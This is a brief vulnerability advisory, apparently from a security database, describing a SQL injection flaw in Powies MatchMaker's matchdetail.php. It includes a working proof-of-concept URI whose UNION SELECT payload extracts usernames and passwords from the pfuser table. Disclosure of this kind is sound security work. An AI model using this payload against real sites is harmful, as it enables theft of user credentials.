|
Powies MatchMaker Matchdetail.PHP SQL Injection Vulnerability
An attacker can exploit this issue via a web client. The following proof-of-concept URI demonstrates this vulnerability: http://www.example.com/(path to script)/matchdetail.php?edit=-1 UNION SELECT 0,0,0,pwd,0,0,0,0,0,username,0,0,0,0 FROM pfuser WHERE id=1 |
|
|
Privacy Statement |
